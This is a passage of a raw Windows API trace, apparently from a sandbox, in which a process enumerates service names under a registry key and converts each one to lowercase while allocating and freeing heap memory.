BaseAddress=0x21f2eb0) returned 1 [0232.531] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0232.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0232.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.531] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0232.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0232.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.531] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.532] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.532] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.532] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0232.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.533] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0232.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0232.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.533] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0232.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0232.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.533] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0232.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0232.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.533] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.533] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0232.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0232.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.534] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0232.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0232.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.534] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0232.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0232.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.534] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0232.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0232.534] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.534] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.534] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.535] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.535] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.535] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.535] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0232.535] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.536] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0232.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0232.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.536] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0232.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0232.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.536] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0232.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0232.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.536] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.536] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0232.536] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, 